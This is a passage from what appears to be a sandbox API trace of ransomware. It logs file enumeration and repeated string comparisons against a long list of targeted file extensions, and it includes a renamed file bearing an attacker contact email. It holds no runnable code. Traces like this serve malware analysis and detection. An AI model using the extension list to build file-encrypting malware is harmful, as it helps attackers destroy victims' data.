lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0205.716] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb097e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6eb097e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DOWNLE~1.SAV")) returned 1 [0205.716] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save") returned 72 [0205.716] lstrlenW (lpString=".1cd") returned 4 [0205.716] lstrcmpiW (lpString1=".1cd", lpString2="save") returned -1 [0205.716] lstrlenW (lpString=".3ds") returned 4 [0205.716] lstrcmpiW (lpString1=".3ds", lpString2="save") returned -1 [0205.717] lstrlenW (lpString=".3fr") returned 4 [0205.717] lstrcmpiW (lpString1=".3fr", lpString2="save") returned -1 [0205.717] lstrlenW (lpString=".3g2") returned 4 [0205.717] lstrcmpiW (lpString1=".3g2", lpString2="save") returned -1 [0205.717] lstrlenW (lpString=".3gp") returned 4 [0205.717] lstrcmpiW (lpString1=".3gp", lpString2="save") returned -1 [0205.717] lstrlenW (lpString=".7z") returned 3 [0205.717] lstrcmpiW (lpString1=".7z", lpString2="ave") returned -1 [0205.717] lstrlenW (lpString=".accda") returned 6 [0205.717] lstrcmpiW (lpString1=".accda", lpString2="].save") returned -1 [0205.717] lstrlenW (lpString=".accdb") returned 6 [0205.717] lstrcmpiW (lpString1=".accdb", lpString2="].save") returned -1 [0205.717] lstrlenW (lpString=".accdc") returned 6 [0205.717] lstrcmpiW (lpString1=".accdc", lpString2="].save") returned -1 [0205.717] lstrlenW (lpString=".accde") returned 6 [0205.717] lstrcmpiW (lpString1=".accde", lpString2="].save") returned -1 [0205.717] lstrlenW (lpString=".accdt") returned 6 [0205.717] lstrcmpiW (lpString1=".accdt", lpString2="].save") returned -1 [0205.717] lstrlenW (lpString=".accdw") returned 6 [0205.717] lstrcmpiW (lpString1=".accdw", lpString2="].save") returned -1 [0205.717] lstrlenW (lpString=".adb") returned 4 [0205.717] lstrcmpiW (lpString1=".adb", lpString2="save") returned -1 [0205.717] lstrlenW (lpString=".adp") returned 4 [0205.717] lstrcmpiW (lpString1=".adp", lpString2="save") returned -1 [0205.717] lstrlenW (lpString=".ai") returned 3 [0205.717] lstrcmpiW (lpString1=".ai", lpString2="ave") returned -1 [0205.717] lstrlenW (lpString=".ai3") returned 4 [0205.718] lstrcmpiW (lpString1=".ai3", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".ai4") returned 4 [0205.718] lstrcmpiW (lpString1=".ai4", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".ai5") returned 4 [0205.718] lstrcmpiW (lpString1=".ai5", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".ai6") returned 4 [0205.718] lstrcmpiW (lpString1=".ai6", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".ai7") returned 4 [0205.718] lstrcmpiW (lpString1=".ai7", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".ai8") returned 4 [0205.718] lstrcmpiW (lpString1=".ai8", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".anim") returned 5 [0205.718] lstrcmpiW (lpString1=".anim", lpString2=".save") returned -1 [0205.718] lstrlenW (lpString=".arw") returned 4 [0205.718] lstrcmpiW (lpString1=".arw", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".as") returned 3 [0205.718] lstrcmpiW (lpString1=".as", lpString2="ave") returned -1 [0205.718] lstrlenW (lpString=".asa") returned 4 [0205.718] lstrcmpiW (lpString1=".asa", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".asc") returned 4 [0205.718] lstrcmpiW (lpString1=".asc", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".ascx") returned 5 [0205.718] lstrcmpiW (lpString1=".ascx", lpString2=".save") returned -1 [0205.718] lstrlenW (lpString=".asm") returned 4 [0205.718] lstrcmpiW (lpString1=".asm", lpString2="save") returned -1 [0205.718] lstrlenW (lpString=".asmx") returned 5 [0205.718] lstrcmpiW (lpString1=".asmx", lpString2=".save") returned -1 [0205.718] lstrlenW (lpString=".asp") returned 4 [0205.719] lstrcmpiW (lpString1=".asp", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".aspx") returned 5 [0205.719] lstrcmpiW (lpString1=".aspx", lpString2=".save") returned -1 [0205.719] lstrlenW (lpString=".asr") returned 4 [0205.719] lstrcmpiW (lpString1=".asr", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".asx") returned 4 [0205.719] lstrcmpiW (lpString1=".asx", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".avi") returned 4 [0205.719] lstrcmpiW (lpString1=".avi", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".avs") returned 4 [0205.719] lstrcmpiW (lpString1=".avs", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".backup") returned 7 [0205.719] lstrcmpiW (lpString1=".backup", lpString2="m].save") returned -1 [0205.719] lstrlenW (lpString=".bak") returned 4 [0205.719] lstrcmpiW (lpString1=".bak", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".bay") returned 4 [0205.719] lstrcmpiW (lpString1=".bay", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".bd") returned 3 [0205.719] lstrcmpiW (lpString1=".bd", lpString2="ave") returned -1 [0205.719] lstrlenW (lpString=".bin") returned 4 [0205.719] lstrcmpiW (lpString1=".bin", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".bmp") returned 4 [0205.719] lstrcmpiW (lpString1=".bmp", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".bz2") returned 4 [0205.719] lstrcmpiW (lpString1=".bz2", lpString2="save") returned -1 [0205.719] lstrlenW (lpString=".c") returned 2 [0205.720] lstrcmpiW (lpString1=".c", lpString2="ve") returned -1 [0205.720] lstrlenW (lpString=".cdr") returned 4 [0205.720] lstrcmpiW (lpString1=".cdr", lpString2="save") returned -1 [0205.720] lstrlenW (lpString=".cer") returned 4 [0205.720] lstrcmpiW (lpString1=".cer", lpString2="save") returned -1 [0205.720] lstrlenW (lpString=".cf") returned 3 [0205.720] lstrcmpiW (lpString1=".cf", lpString2="ave") returned -1 [0205.720] lstrlenW (lpString=".cfc") returned 4 [0205.720] lstrcmpiW (lpString1=".cfc", lpString2="save") returned -1 [0205.720] lstrlenW (lpString=".cfm") returned 4 [0205.720] lstrcmpiW (lpString1=".cfm", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".cfml") returned 5 [0205.721] lstrcmpiW (lpString1=".cfml", lpString2=".save") returned -1 [0205.721] lstrlenW (lpString=".cfu") returned 4 [0205.721] lstrcmpiW (lpString1=".cfu", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".chm") returned 4 [0205.721] lstrcmpiW (lpString1=".chm", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".cin") returned 4 [0205.721] lstrcmpiW (lpString1=".cin", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".class") returned 6 [0205.721] lstrcmpiW (lpString1=".class", lpString2="].save") returned -1 [0205.721] lstrlenW (lpString=".clx") returned 4 [0205.721] lstrcmpiW (lpString1=".clx", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".config") returned 7 [0205.721] lstrcmpiW (lpString1=".config", lpString2="m].save") returned -1 [0205.721] lstrlenW (lpString=".cpp") returned 4 [0205.721] lstrcmpiW (lpString1=".cpp", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".cr2") returned 4 [0205.721] lstrcmpiW (lpString1=".cr2", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".crt") returned 4 [0205.721] lstrcmpiW (lpString1=".crt", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".crw") returned 4 [0205.721] lstrcmpiW (lpString1=".crw", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".cs") returned 3 [0205.721] lstrcmpiW (lpString1=".cs", lpString2="ave") returned -1 [0205.721] lstrlenW (lpString=".css") returned 4 [0205.721] lstrcmpiW (lpString1=".css", lpString2="save") returned -1 [0205.721] lstrlenW (lpString=".csv") returned 4 [0205.722] lstrcmpiW (lpString1=".csv", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".cub") returned 4 [0205.722] lstrcmpiW (lpString1=".cub", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dae") returned 4 [0205.722] lstrcmpiW (lpString1=".dae", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dat") returned 4 [0205.722] lstrcmpiW (lpString1=".dat", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".db") returned 3 [0205.722] lstrcmpiW (lpString1=".db", lpString2="ave") returned -1 [0205.722] lstrlenW (lpString=".dbf") returned 4 [0205.722] lstrcmpiW (lpString1=".dbf", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dbx") returned 4 [0205.722] lstrcmpiW (lpString1=".dbx", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dc3") returned 4 [0205.722] lstrcmpiW (lpString1=".dc3", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dcm") returned 4 [0205.722] lstrcmpiW (lpString1=".dcm", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dcr") returned 4 [0205.722] lstrcmpiW (lpString1=".dcr", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".der") returned 4 [0205.722] lstrcmpiW (lpString1=".der", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dib") returned 4 [0205.722] lstrcmpiW (lpString1=".dib", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dic") returned 4 [0205.722] lstrcmpiW (lpString1=".dic", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".dif") returned 4 [0205.722] lstrcmpiW (lpString1=".dif", lpString2="save") returned -1 [0205.722] lstrlenW (lpString=".divx") returned 5 [0205.723] lstrcmpiW (lpString1=".divx", lpString2=".save") returned -1 [0205.723] lstrlenW (lpString=".djvu") returned 5 [0205.723] lstrcmpiW (lpString1=".djvu", lpString2=".save") returned -1 [0205.723] lstrlenW (lpString=".dng") returned 4 [0205.723] lstrcmpiW (lpString1=".dng", lpString2="save") returned -1 [0205.723] lstrlenW (lpString=".doc") returned 4 [0205.723] lstrcmpiW (lpString1=".doc", lpString2="save") returned -1 [0205.723] lstrlenW (lpString=".docm") returned 5 [0205.723] lstrcmpiW (lpString1=".docm", lpString2=".save") returned -1 [0205.723] lstrlenW (lpString=".docx") returned 5 [0205.723] lstrcmpiW (lpString1=".docx", lpString2=".save") returned -1 [0205.723] lstrlenW (lpString=".dot") returned 4 [0205.723] lstrcmpiW (lpString1=".dot", lpString2="save") returned -1 [0205.723] lstrlenW (lpString=".dotm") returned 5 [0205.723] lstrcmpiW (lpString1=".dotm", lpString2=".save") returned -1 [0205.723] lstrlenW (lpString=".dotx") returned 5 [0205.723] lstrcmpiW (lpString1=".dotx", lpString2=".save") returned -1 [0205.723] lstrlenW (lpString=".dpx") returned 4 [0205.723] lstrcmpiW (lpString1=".dpx", lpString2="save") returned -1 [0205.723] lstrlenW (lpString=".dqy") returned 4 [0205.723] lstrcmpiW (lpString1=".dqy", lpString2="save") returned -1 [0205.723] lstrlenW (lpString=".dsn") returned 4 [0205.723] lstrcmpiW (lpString1=".dsn", lpString2="save") returned -1 [0205.723] lstrlenW (lpString=".dt") returned 3 [0205.723] lstrcmpiW (lpString1=".dt", lpString2="ave") returned -1 [0205.723] lstrlenW (lpString=".dtd") returned 4 [0205.723] lstrcmpiW (lpString1=".dtd", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".dwg") returned 4 [0205.724] lstrcmpiW (lpString1=".dwg", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".dwt") returned 4 [0205.724] lstrcmpiW (lpString1=".dwt", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".dx") returned 3 [0205.724] lstrcmpiW (lpString1=".dx", lpString2="ave") returned -1 [0205.724] lstrlenW (lpString=".dxf") returned 4 [0205.724] lstrcmpiW (lpString1=".dxf", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".edml") returned 5 [0205.724] lstrcmpiW (lpString1=".edml", lpString2=".save") returned -1 [0205.724] lstrlenW (lpString=".efd") returned 4 [0205.724] lstrcmpiW (lpString1=".efd", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".elf") returned 4 [0205.724] lstrcmpiW (lpString1=".elf", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".emf") returned 4 [0205.724] lstrcmpiW (lpString1=".emf", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".emz") returned 4 [0205.724] lstrcmpiW (lpString1=".emz", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".epf") returned 4 [0205.724] lstrcmpiW (lpString1=".epf", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".eps") returned 4 [0205.724] lstrcmpiW (lpString1=".eps", lpString2="save") returned -1 [0205.724] lstrlenW (lpString=".epsf") returned 5 [0205.724] lstrcmpiW (lpString1=".epsf", lpString2=".save") returned -1 [0205.724] lstrlenW (lpString=".epsp") returned 5 [0205.724] lstrcmpiW (lpString1=".epsp", lpString2=".save") returned -1 [0205.724] lstrlenW (lpString=".erf") returned 4 [0205.725] lstrcmpiW (lpString1=".erf", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".exr") returned 4 [0205.725] lstrcmpiW (lpString1=".exr", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".f4v") returned 4 [0205.725] lstrcmpiW (lpString1=".f4v", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".fido") returned 5 [0205.725] lstrcmpiW (lpString1=".fido", lpString2=".save") returned -1 [0205.725] lstrlenW (lpString=".flm") returned 4 [0205.725] lstrcmpiW (lpString1=".flm", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".flv") returned 4 [0205.725] lstrcmpiW (lpString1=".flv", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".frm") returned 4 [0205.725] lstrcmpiW (lpString1=".frm", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".fxg") returned 4 [0205.725] lstrcmpiW (lpString1=".fxg", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".geo") returned 4 [0205.725] lstrcmpiW (lpString1=".geo", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".gif") returned 4 [0205.725] lstrcmpiW (lpString1=".gif", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".grs") returned 4 [0205.725] lstrcmpiW (lpString1=".grs", lpString2="save") returned -1 [0205.725] lstrlenW (lpString=".gz") returned 3 [0205.725] lstrcmpiW (lpString1=".gz", lpString2="ave") returned -1 [0205.725] lstrlenW (lpString=".h") returned 2 [0205.725] lstrcmpiW (lpString1=".h", lpString2="ve") returned -1 [0205.725] lstrlenW (lpString=".hdr") returned 4 [0205.725] lstrcmpiW (lpString1=".hdr", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".hpp") returned 4 [0205.726] lstrcmpiW (lpString1=".hpp", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".hta") returned 4 [0205.726] lstrcmpiW (lpString1=".hta", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".htc") returned 4 [0205.726] lstrcmpiW (lpString1=".htc", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".htm") returned 4 [0205.726] lstrcmpiW (lpString1=".htm", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".html") returned 5 [0205.726] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0205.726] lstrlenW (lpString=".icb") returned 4 [0205.726] lstrcmpiW (lpString1=".icb", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".ics") returned 4 [0205.726] lstrcmpiW (lpString1=".ics", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".iff") returned 4 [0205.726] lstrcmpiW (lpString1=".iff", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".inc") returned 4 [0205.726] lstrcmpiW (lpString1=".inc", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".indd") returned 5 [0205.726] lstrcmpiW (lpString1=".indd", lpString2=".save") returned -1 [0205.726] lstrlenW (lpString=".ini") returned 4 [0205.726] lstrcmpiW (lpString1=".ini", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".iqy") returned 4 [0205.726] lstrcmpiW (lpString1=".iqy", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".j2c") returned 4 [0205.726] lstrcmpiW (lpString1=".j2c", lpString2="save") returned -1 [0205.726] lstrlenW (lpString=".j2k") returned 4 [0205.727] lstrcmpiW (lpString1=".j2k", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".java") returned 5 [0205.727] lstrcmpiW (lpString1=".java", lpString2=".save") returned -1 [0205.727] lstrlenW (lpString=".jp2") returned 4 [0205.727] lstrcmpiW (lpString1=".jp2", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".jpc") returned 4 [0205.727] lstrcmpiW (lpString1=".jpc", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".jpe") returned 4 [0205.727] lstrcmpiW (lpString1=".jpe", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".jpeg") returned 5 [0205.727] lstrcmpiW (lpString1=".jpeg", lpString2=".save") returned -1 [0205.727] lstrlenW (lpString=".jpf") returned 4 [0205.727] lstrcmpiW (lpString1=".jpf", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".jpg") returned 4 [0205.727] lstrcmpiW (lpString1=".jpg", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".jpx") returned 4 [0205.727] lstrcmpiW (lpString1=".jpx", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".js") returned 3 [0205.727] lstrcmpiW (lpString1=".js", lpString2="ave") returned -1 [0205.727] lstrlenW (lpString=".jsf") returned 4 [0205.727] lstrcmpiW (lpString1=".jsf", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".json") returned 5 [0205.727] lstrcmpiW (lpString1=".json", lpString2=".save") returned -1 [0205.727] lstrlenW (lpString=".jsp") returned 4 [0205.727] lstrcmpiW (lpString1=".jsp", lpString2="save") returned -1 [0205.727] lstrlenW (lpString=".kdc") returned 4 [0205.727] lstrcmpiW (lpString1=".kdc", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".kmz") returned 4 [0205.728] lstrcmpiW (lpString1=".kmz", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".kwm") returned 4 [0205.728] lstrcmpiW (lpString1=".kwm", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".lasso") returned 6 [0205.728] lstrcmpiW (lpString1=".lasso", lpString2="].save") returned -1 [0205.728] lstrlenW (lpString=".lbi") returned 4 [0205.728] lstrcmpiW (lpString1=".lbi", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".lgf") returned 4 [0205.728] lstrcmpiW (lpString1=".lgf", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".lgp") returned 4 [0205.728] lstrcmpiW (lpString1=".lgp", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".log") returned 4 [0205.728] lstrcmpiW (lpString1=".log", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".m1v") returned 4 [0205.728] lstrcmpiW (lpString1=".m1v", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".m4a") returned 4 [0205.728] lstrcmpiW (lpString1=".m4a", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".m4v") returned 4 [0205.728] lstrcmpiW (lpString1=".m4v", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".max") returned 4 [0205.728] lstrcmpiW (lpString1=".max", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".md") returned 3 [0205.728] lstrcmpiW (lpString1=".md", lpString2="ave") returned -1 [0205.728] lstrlenW (lpString=".mda") returned 4 [0205.728] lstrcmpiW (lpString1=".mda", lpString2="save") returned -1 [0205.728] lstrlenW (lpString=".mdb") returned 4 [0205.729] lstrcmpiW (lpString1=".mdb", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mde") returned 4 [0205.729] lstrcmpiW (lpString1=".mde", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mdf") returned 4 [0205.729] lstrcmpiW (lpString1=".mdf", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mdw") returned 4 [0205.729] lstrcmpiW (lpString1=".mdw", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mef") returned 4 [0205.729] lstrcmpiW (lpString1=".mef", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mft") returned 4 [0205.729] lstrcmpiW (lpString1=".mft", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mfw") returned 4 [0205.729] lstrcmpiW (lpString1=".mfw", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mht") returned 4 [0205.729] lstrcmpiW (lpString1=".mht", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mhtml") returned 6 [0205.729] lstrcmpiW (lpString1=".mhtml", lpString2="].save") returned -1 [0205.729] lstrlenW (lpString=".mka") returned 4 [0205.729] lstrcmpiW (lpString1=".mka", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mkidx") returned 6 [0205.729] lstrcmpiW (lpString1=".mkidx", lpString2="].save") returned -1 [0205.729] lstrlenW (lpString=".mkv") returned 4 [0205.729] lstrcmpiW (lpString1=".mkv", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mos") returned 4 [0205.729] lstrcmpiW (lpString1=".mos", lpString2="save") returned -1 [0205.729] lstrlenW (lpString=".mov") returned 4 [0205.729] lstrcmpiW (lpString1=".mov", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".mp3") returned 4 [0205.730] lstrcmpiW (lpString1=".mp3", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".mp4") returned 4 [0205.730] lstrcmpiW (lpString1=".mp4", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".mpeg") returned 5 [0205.730] lstrcmpiW (lpString1=".mpeg", lpString2=".save") returned -1 [0205.730] lstrlenW (lpString=".mpg") returned 4 [0205.730] lstrcmpiW (lpString1=".mpg", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".mpv") returned 4 [0205.730] lstrcmpiW (lpString1=".mpv", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".mrw") returned 4 [0205.730] lstrcmpiW (lpString1=".mrw", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".msg") returned 4 [0205.730] lstrcmpiW (lpString1=".msg", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".mxl") returned 4 [0205.730] lstrcmpiW (lpString1=".mxl", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".myd") returned 4 [0205.730] lstrcmpiW (lpString1=".myd", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".myi") returned 4 [0205.730] lstrcmpiW (lpString1=".myi", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".nef") returned 4 [0205.730] lstrcmpiW (lpString1=".nef", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".nrw") returned 4 [0205.730] lstrcmpiW (lpString1=".nrw", lpString2="save") returned -1 [0205.730] lstrlenW (lpString=".obj") returned 4 [0205.730] lstrcmpiW (lpString1=".obj", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".odb") returned 4 [0205.731] lstrcmpiW (lpString1=".odb", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".odc") returned 4 [0205.731] lstrcmpiW (lpString1=".odc", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".odm") returned 4 [0205.731] lstrcmpiW (lpString1=".odm", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".odp") returned 4 [0205.731] lstrcmpiW (lpString1=".odp", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".ods") returned 4 [0205.731] lstrcmpiW (lpString1=".ods", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".oft") returned 4 [0205.731] lstrcmpiW (lpString1=".oft", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".one") returned 4 [0205.731] lstrcmpiW (lpString1=".one", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".onepkg") returned 7 [0205.731] lstrcmpiW (lpString1=".onepkg", lpString2="m].save") returned -1 [0205.731] lstrlenW (lpString=".onetoc2") returned 8 [0205.731] lstrcmpiW (lpString1=".onetoc2", lpString2="om].save") returned -1 [0205.731] lstrlenW (lpString=".opt") returned 4 [0205.731] lstrcmpiW (lpString1=".opt", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".oqy") returned 4 [0205.731] lstrcmpiW (lpString1=".oqy", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".orf") returned 4 [0205.731] lstrcmpiW (lpString1=".orf", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".p12") returned 4 [0205.731] lstrcmpiW (lpString1=".p12", lpString2="save") returned -1 [0205.731] lstrlenW (lpString=".p7b") returned 4 [0205.732] lstrcmpiW (lpString1=".p7b", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".p7c") returned 4 [0205.732] lstrcmpiW (lpString1=".p7c", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pam") returned 4 [0205.732] lstrcmpiW (lpString1=".pam", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pbm") returned 4 [0205.732] lstrcmpiW (lpString1=".pbm", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pct") returned 4 [0205.732] lstrcmpiW (lpString1=".pct", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pcx") returned 4 [0205.732] lstrcmpiW (lpString1=".pcx", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pdd") returned 4 [0205.732] lstrcmpiW (lpString1=".pdd", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pdf") returned 4 [0205.732] lstrcmpiW (lpString1=".pdf", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pdp") returned 4 [0205.732] lstrcmpiW (lpString1=".pdp", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pef") returned 4 [0205.732] lstrcmpiW (lpString1=".pef", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pem") returned 4 [0205.732] lstrcmpiW (lpString1=".pem", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pff") returned 4 [0205.732] lstrcmpiW (lpString1=".pff", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pfm") returned 4 [0205.732] lstrcmpiW (lpString1=".pfm", lpString2="save") returned -1 [0205.732] lstrlenW (lpString=".pfx") returned 4 [0205.732] lstrcmpiW (lpString1=".pfx", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".pgm") returned 4 [0205.733] lstrcmpiW (lpString1=".pgm", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".php") returned 4 [0205.733] lstrcmpiW (lpString1=".php", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".php3") returned 5 [0205.733] lstrcmpiW (lpString1=".php3", lpString2=".save") returned -1 [0205.733] lstrlenW (lpString=".php4") returned 5 [0205.733] lstrcmpiW (lpString1=".php4", lpString2=".save") returned -1 [0205.733] lstrlenW (lpString=".php5") returned 5 [0205.733] lstrcmpiW (lpString1=".php5", lpString2=".save") returned -1 [0205.733] lstrlenW (lpString=".phtml") returned 6 [0205.733] lstrcmpiW (lpString1=".phtml", lpString2="].save") returned -1 [0205.733] lstrlenW (lpString=".pict") returned 5 [0205.733] lstrcmpiW (lpString1=".pict", lpString2=".save") returned -1 [0205.733] lstrlenW (lpString=".pl") returned 3 [0205.733] lstrcmpiW (lpString1=".pl", lpString2="ave") returned -1 [0205.733] lstrlenW (lpString=".pls") returned 4 [0205.733] lstrcmpiW (lpString1=".pls", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".pm") returned 3 [0205.733] lstrcmpiW (lpString1=".pm", lpString2="ave") returned -1 [0205.733] lstrlenW (lpString=".png") returned 4 [0205.733] lstrcmpiW (lpString1=".png", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".pnm") returned 4 [0205.733] lstrcmpiW (lpString1=".pnm", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".pot") returned 4 [0205.733] lstrcmpiW (lpString1=".pot", lpString2="save") returned -1 [0205.733] lstrlenW (lpString=".potm") returned 5 [0205.734] lstrcmpiW (lpString1=".potm", lpString2=".save") returned -1 [0205.734] lstrlenW (lpString=".potx") returned 5 [0205.734] lstrcmpiW (lpString1=".potx", lpString2=".save") returned -1 [0205.734] lstrlenW (lpString=".ppa") returned 4 [0205.734] lstrcmpiW (lpString1=".ppa", lpString2="save") returned -1 [0205.734] lstrlenW (lpString=".ppam") returned 5 [0205.734] lstrcmpiW (lpString1=".ppam", 